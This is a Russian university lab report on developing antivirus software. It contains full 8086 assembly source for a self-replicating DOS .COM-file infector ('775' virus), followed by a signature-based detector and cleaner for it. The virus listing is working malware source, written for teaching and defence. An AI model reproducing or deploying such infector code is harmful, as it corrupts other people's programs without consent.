Федеральное государственное бюджетное образовательное учреждение
высшего образования
«РОССИЙСКАЯ АКАДЕМИЯ НАРОДНОГО ХОЗЯЙСТВА
И ГОСУДАРСТВЕННОЙ СЛУЖБЫ
ПРИ ПРЕЗИДЕНТЕ РОССИЙСКОЙ ФЕДЕРАЦИИ»

НИЖЕГОРОДСКИЙ ИНСТИТУТ УПРАВЛЕНИЯ – филиал РАНХиГС

Факультет управления
Кафедра Информатики и информационных технологий
Направление подготовки / специальность: 09.04.03 Прикладная информатика

Отчет по лабораторной работе

по дисциплине: Информационная безопасность

АВТОР
Обучающаяся 3 курса группы ИК-732
заочной формы обучения

_____ Насурллаев И. Е.
(подпись) *(фамилия, инициалы)*

РУКОВОДИТЕЛИ
Гордеев Андрей Борисович
(ученая степень, ученое звание)

оценка _____
«_____» _____ 2024 г.
(дата защиты)

_____ Гордеев А.Б..
(подпись) *(фамилия, инициалы)*

Нижний Новгород, 2024г.

Оглавление

Лабораторная работа 5

Название: Разработка антивирусных программ

Цель: Получить практический опыт по разработке антивирусной программы.

Вариант: 7

Задание:
1. Разработать простейшую программу- вирус.
2. Разработать антивирусную программу для данного вируса.

Код Вируса

```
.8086
    PAGE      ,132
;*************************************************
; VIRUS775.ASM emulates virus activity for .COM files
;*************************************************
CSEG    segment
    assume cs:cseg,ds:cseg,es:cseg
    org 100h
START:
    db  0E9h
    dw  15h     ; Near jump to RESTORE_3_BYTES
ID  dw  0FFFFh

    org 110h

VIRUS:
    push    ds
    mov ax,cs
    db  00000101b   ; Add ax,imed
NEW_DS  dw  0FFFFh      ; 0FFFFh should be replaced
    mov ds,ax       ; Define new ds segment

RESTORE_3_BYTES:
    mov al,BYTES_3[0]   ; Restore first 3 bytes
    mov byte ptr cs:[100h],al
    mov al,BYTES_3[1]
```

```
    mov byte ptr cs:[101h],al
    mov al,BYTES_3[2]
    mov byte ptr cs:[102h],al

STORE_DTA:
    mov cx,100h
    mov bx,0
DTA_S:
    mov al,byte ptr cs:[bx]

    mov byte ptr DTA[bx],al
    inc bx
    loop    DTA_S

FIND_FIRST:
    lea dx,FMASK
    mov cx,00100000b    ; arc,dir,vol,sys,hid,r/o
    mov ah,4Eh
    int 21h     ; Find first .COM file
    jnc STORE_FNAME
    jmp ERR

FIND_NEXT:
    mov bx,HANDLE
    mov ah,3Eh
    int 21h     ; Close previous file
    mov HANDLE,0FFFFh

    mov ah,4Fh
    int 21h
    jnc STORE_FNAME
    jmp ERR

STORE_FNAME:
    cmp byte ptr cs:[95h],00000001b ; Test r/o attribute
    je  FIND_NEXT   ; if r/o is set, do not infect
    mov bx,0
```

```
NEXT_SYM:
    mov al,byte ptr cs:[bx+9Eh]
    mov FNAME[bx],al
    cmp byte ptr cs:[bx+9Eh],0
    je  SET_ATTRIB
    inc bx
    cmp bx,13
    jng NEXT_SYM
    jmp ERR

SET_ATTRIB:
    lea dx,FNAME

    mov cx,00100000b    ; arc,dir,vol,sys,hid,r/o
    mov ax,4301h
    int 21h     ; Set file attributes
    jnc READ_HANDLE
    jmp ERR

READ_HANDLE:
    lea dx,FNAME
    mov ax,3D02h    ; Read/write mode
    int 21h     ; Open a file
    jnc READ_3_BYTES
    jmp ERR

READ_3_BYTES:
    mov HANDLE,ax   ; Store handle from ax
    lea dx,BYTES_3
    mov bx,HANDLE
    mov cx,3        ; Number of bytes to read

    mov ah,3Fh
    int 21h     ; Read and store first 3 bytes
    jnc READ_FLEN
    jmp ERR

READ_FLEN:
```

```
    mov cx,0
    mov dx,0        ; NULL seek position in cx:dx
    mov bx,HANDLE
    mov al,2        ; Relative to EOF
    mov ah,42h      ; Get program length in dx:ax
    int 21h
    jnc CHECK_ID
    jmp ERR

CHECK_ID:
    mov FLENOLD,ax  ; Store length of file

    test    ax,00001111b
    jz  JUST
    or  ax,00001111b
    inc ax

JUST:
    mov FLEN,ax     ; Store corrected length of file

    cmp ax,64500
    jna CALC_DS
    jmp FIND_NEXT

CALC_DS:
    mov cl,4
    shr ax,cl       ; Calculate new ds segment difference
    dec ax
    mov byte ptr NEW_DS[0],al
    mov byte ptr NEW_DS[1],ah   ; Store new ds segment

    mov cx,0
    mov dx,FLENOLD
    dec dx
    mov bx,HANDLE
    mov al,0        ; Relative to EOF
    mov ah,42h
    int 21h     ; Set seek to last byte of file
```

```
    jnc READ_ID
    jmp ERR

READ_ID:
    lea dx,BYTES_3[3]
    mov bx,HANDLE
    mov cx,1
    mov ah,3Fh
    int 21h     ; Read last byte to BYTES_3[3] (ID='$')
    jnc TEST_ID
    jmp FIND_NEXT

TEST_ID:
    cmp BYTES_3[3],'$'
    jne NOT_INFECTED
    jmp FIND_NEXT   ; Check if file is infected

NOT_INFECTED:

    mov ax,FLEN     ; Calculate JMP address
    sub ax,03h
    mov JMP_L,al
    mov JMP_H,ah    ; Store new JMP address

    mov cx,0
    mov dx,FLEN
    mov bx,HANDLE
    mov ax,4200h    ; Set seek to corrected end of file
    int 21h
    jc  ERR

    lea dx,VIRUS
    mov cx,VIRLEN
    mov bx,HANDLE
    mov ah,40h
    int 21h     ; Write virus to file
    jc  ERR
```

```
WRITE_JMP:
    mov cx,0
    mov dx,0
    mov bx,HANDLE
    mov al,0        ; Relative to file start
    mov ah,42h
    int 21h     ; Set seek to 0
    jc  ERR

    lea dx,JMPVIR
    mov cx,3
    mov bx,HANDLE
    mov ah,40h
    int 21h     ; Write new JMP to file
    jc  ERR

PRINT_MSG:
    lea dx,MSG
    mov ah,09h
    int 21h     ; Print a message

ERR:

    cmp HANDLE,0FFFFh
    je  EXIT

CLOSE_FILE:
    mov bx,HANDLE
    mov ah,3Eh
    int 21h     ; Close  file

EXIT:
    cmp cs:[ID],0FFFFh
    je  GOTO_DOS

RESTORE_DTA:
    mov cx,100h
    mov bx,0
```

```
DTA_R:
    mov al,byte ptr DTA[bx]
    mov byte ptr cs:[bx],al
    inc bx
    loop    DTA_R

GOTO_START:
    mov ax,cs
    mov ds:[START_S],ax
    pop ds
    db  0EAh        ; Far jmp to START
    dw  0100h       ; START offset
START_S dw  (?)     ; START segment

GOTO_DOS:
    mov ax,4C00h
    int 21h

FMASK   db  '*.COM',0h
FNAME   db  12 dup (?),0h
FLENOLD dw  (?)     ; Length of file
FLEN    dw  (?)     ; Corrected length of file
HANDLE  dw  0FFFFh      ; File handle number
JMPVIR  db  0E9h        ; JMP code
JMP_L   db  (?)

JMP_H   db  (?)     ; 3 bytes for virus JMP
BYTES_3 db  3 dup (?)   ; Original 3 bytes
    db  (?)
DTA db  101h dup (?)
MSG db  0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
VIRLEN  equ $-VIRUS

CSEG    ends
    end START
```

Код Антивируса

```
       .8086
        PAGE    ,132
;*****************************************************************
; ANTI775.ASM - program to find files infected by the "775" virus
;               and to restore these files to their original state
;*****************************************************************
CSEG    segment
        assume cs:CSEG, ds:CSEG, es:CSEG
        org 100h
START:
        mov     SIG[10],0FFh ; Completes SIG string
READ_PARAM:
        cmp     BYTE PTR cs:[80h],0
        je      FIND_MODE    ; If no parameters, "find" mode
        mov     ax,ds
        mov     es,ax
        cld
        mov     al,'q'       ; 'q' - "find & cure mode" (MODE=1)
        mov     ch,0
        mov     cl,cs:[80h]  ; Length of UPA (from PSP)
        mov     di,81h       ; Offset of UPA (from PSP)
        repne   scasb
        je      CURE_MODE
FIND_MODE:
        mov     MODE,0
        jmp     ALLOC_MEM
CURE_MODE:
        mov     MODE,1
ALLOC_MEM:
        mov     ax,ds
        mov     es,ax
        mov     bx,1100h     ; Reallocate 68 K bytes
        mov     ah,4Ah
        int     21h
        jnc     ALLOCATED
NOT_ALLOCATED:
```

```
        lea     dx,NO_MEM
        mov     ah,09h
        int     21h          ; Print a message
        jmp     TO_DOS
NO_MEM  db      10,13,'Insufficient memory to run ANTI775',10,13,'$'

ALLOCATED:
       lea      ax,LBL
       mov      cl,4
       shr      ax,cl
       inc      ax
       mov      bx,ds
       add      ax,bx
       mov      FSEG,ax      ; Segment of program in memory
FIND_FIRST:
        lea     dx,FMASK     ; Mask of file name
        mov     cx,00100111b ; arc,dir,vol,sys,hid,r/o
        mov     ah,4Eh
        int     21h          ; Find first .COM file
        jnc     STORE_FNAME
        jmp     EXIT
FIND_NEXT:
        mov     bx,HANDLE
        mov     ah,3Eh
        int     21h          ; Close previous file
        mov     HANDLE,0FFFFh ; Note that file was closed
        mov     ah,4Fh
        int     21h          ; Find next file
        jnc     STORE_FNAME
        jmp     EXIT
STORE_FNAME:
        mov     bx,0
NEXT_SYM:
        mov     al,BYTE PTR cs:[bx+9Eh]
        mov     FNAME[bx],al
        cmp     BYTE PTR cs:[bx+9Eh],0
        je      SET_ATTRIB
        inc     bx
```

```
        cmp     bx,13
        jng     NEXT_SYM
        jmp     ERR
SET_ATTRIB:
        lea     dx,FNAME
        mov     cx,00100000b ; arc,dir,vol,sys,hid,r/o
        mov     ax,4301h
        int     21h          ; Set file attributes
        jnc     READ_HANDLE
        jmp     ERR
READ_HANDLE:
        lea     dx,FNAME
        mov     ax,3D02h     ; Read/write mode
        int     21h
        jnc     READ_FLEN
        jmp     ERR
READ_FLEN:
        mov     HANDLE,ax    ; Store handle from ax
        mov     cx,0
        mov     dx,0         ; NULL seek position in cx:dx
        mov     bx,HANDLE
        mov     ax,4202h     ; Get program length in dx:ax
        int     21h
        mov     FLEN,ax
        cmp     dx,0
        je      SET_FSTART
        mov     FLEN,0FFFFh
SET_FSTART:
        mov     bx,HANDLE
        mov     cx,0
        mov     dx,0         ; NULL seek position in cx:dx
        mov     ax,4200h
        int     21h          ; Set seek pointer to start of file
READ_FILE:
        mov     bx,HANDLE
        mov     cx,FLEN
        mov     dx,0
        cmp     FLEN,8001h   ; If length of file<32769
```

```
        jb      READ_REST    ; Read file in one step
        mov     cx,8000h
        push    ds
        mov     dx,0
        mov     ax,FSEG
        mov     ds,ax
        mov     ah,3Fh
        int     21h          ; Read 32768 bytes from file to buffer
        pop     ds
        mov     cx,FLEN
        mov     dx,8000h
        sub     cx,8000h     ; Prepare to read the rest of the file
READ_REST:
        mov     bx,HANDLE
        push    ds
        mov     ax,FSEG
        mov     ds,ax        ; ds:dx - buffer address
        mov     ah,3Fh
        int     21h          ; read and store entire file
        pop     ds
        jnc     CHECK_SIG
        jmp     ERR
CHECK_SIG:
        mov     ax,FSEG
        mov     es,ax
        mov     di,0         ; es:di - address of .COM file
        cld
        mov     cx,FLEN
        sub     cx,SIGL
        mov     al,0FFh      ; al=FF (hexadecimal)
NEXT_FF:
        repne   scasb
        je      FOUND_FF
NO_FF:
        jmp     FIND_NEXT
FOUND_FF:
        push    cx           ; Store counter for next 0FFh search
        push    di           ; Store di      for next 0FFh search
```

```
        dec     di          ; es:di - address of 0FFh found
        mov     SIGO,di     ; Store offset of 0FFh found
        lea     si,SIG      ; ds:si - address of SIG string
        mov     cx,SIGL     ; cx - length of SIG string
        repe    cmpsb       ; Compare SIG with string in file
        je      FOUND_SIG   ;
        pop     di          ; Restore di      for next 0FFh search
        pop     cx          ; Restore counter for next 0FFh search
        jmp     NEXT_FF
FOUND_SIG:
        inc     FILES       ; Count infected files
        lea     dx,WARNING
        mov     ah,09h
        int     21h         ; Print warning message
BLANK:
        mov     cx,12       ; Width of file name field
        mov     bx,0
REP32:
        mov     FNAME[bx],32
        inc     bx
        loop    REP32       ; Fill field with spaces
        cmp     MODE,1      ; WAS there 'q' in command line
        je      CURE
        jmp     FIND_NEXT   ; Do not cure !
WARNING db      10,13,'File '
FNAME   db      12 dup (32),0 ; File name ASCIIZ string
        db      ' is infected by the 775 virus',10,13,'$'
CURE:
        mov     bx,SIGO     ; SIGO  - offset of virus signature
        add     bx,SIGO3    ; SIGO3 - 3 bytes relative to SIG
        mov     al,BYTE PTR es:[bx] ; es:bx - addres of original 3 bytes
        mov     BYTE PTR es:[0],al
        mov     al,BYTE PTR es:[bx+1]
        mov     BYTE PTR es:[1],al
        mov     al,BYTE PTR es:[bx+2]
        mov     BYTE PTR es:[2],al ; Three bytes where restored
        mov     bx,SIGFL
        add     bx,SIGO
```

```
        mov     ax,WORD PTR es:[bx] ; Store old length og file to
                                    ; be cured
        mov     FLENOLD,ax
SAVE_FILE:
        mov     cx,0
        mov     dx,0            ; dx:cx - position of seek pointer (0)
        mov     bx,HANDLE
        mov     ax,4200h
        int     21h             ; Set seek pointer to start of file
        mov     cx,FLENOLD
        mov     bx,HANDLE
        push    ds
        mov     ax,FSEG
        mov     ds,ax
        mov     dx,0            ; ds:dx - address of file in memory
        mov     ah,40h
        int     21h             ; Write cured file to disk
CUT_FILE:
       mov      cx,0
       mov      ah,40h
       int      21h             ; Cut file to new length
       pop      ds
       lea      dx,CURED
       mov      ah,09h
       int      21h             ; Print "Cured" message
       jmp      FIND_NEXT
CURED  db       'File was successfuly cured...',10,13,'$'
ERR:
       lea      dx,NOMORE
       mov      ah,09h
       int      21h
       mov      al,2            ; Return code 2 (Error, no files found)
       jmp      TO_DOS
NOMORE db       10,13,'Can not find infected .COM files...',10,13,'$'
EXIT:
       cmp      FILES,0
       je       NOFILES
FNUM_OUT:
```

```
        mov     al,FILES
        add     al,30h
        mov     ah,0Eh
        int     10h             ; Print number of files (0-9)
        lea     dx,MSGC
        cmp     MODE,1          ; If MODE=1, mode is "cure"
        je      MSGCF
        lea     dx,MSGF
MSGCF:
        mov     ah,09h
        int     21h             ; Print 'File(s) cured' message
        mov     al,1            ; Return code 1 (found infection files)
        jmp     TO_DOS
MSGC    db      ' File(s) cured',10,13,'$'
MSGF    db      ' File(s) infected',10,13,'$'
NOFILES:
       lea      dx,GOODBY
        mov     ah,09h
        int     21h
        mov     al,1            ; Return code 0 (No files infected)
        jmp     TO_DOS
GOODBY db       10,13,'No infected files found...',10,13,'$'
TO_DOS:
        cmp     HANDLE,0FFFFh
        je      TERMINATE
CLOSE_FILE:
        mov     bx,HANDLE
        mov     ah,3Eh
        int     21h
TERMINATE:                      ; Free allocated memory
        mov     ah,4Ch
        int     21h             ; Terminated program (al - return code)
MODE    db      0               ; 0 - find, 1 - find & cure
FILES   db      0               ; Number of infected files
SIG     db      0FFh,080h,03Eh,0D6h,002h,024h,075h,003h,0E9h,025h
;SIG     db      0FFh,080h,03Eh,0DEh,002h,024h,075h,003h,0E9h,021h
;SIG     db      0FFh,080h,03Eh,0D5h,002h,024h,075h,003h,0E9h,025h
        db      0               ; Virus signature (last byte)
```

```
SIGL   equ      $-SIG        ; Length of SIG string
SIGO   dw       (?)          ; Offset of SIG in file
SIGO3  dw       0B7h         ; Offset of old 3 bytes relative of SIG
;SIGO3  dw       0BAh         ; Offset of old 3 bytes relative of SIG
;SIGO3  dw       0B6h         ; Offset of old 3 bytes relative of SIG
SIGFL  dw       0AEh         ; Offset of old 3 file length relative of SIG
;SIGFL  dw       0B1h         ; Offset of old 3 file length relative of SIG
;SIGFL  dw       0ADh         ; Offset of old 3 file length relative of SIG
FMASK  db       '*.COM',0    ; File name mask
FLEN   dw       (?)          ; Current length of tested file
FLENOLD dw      (?)          ; Old length of file to be cured
HANDLE dw       0FFFFh       ; File handle number
ATRIB db        (?)          ; File attribute
FSEG   dw       (?)          ; Segment to store file
LBL    db       '$'          ; Security label
CSEG    ends
        end     START
```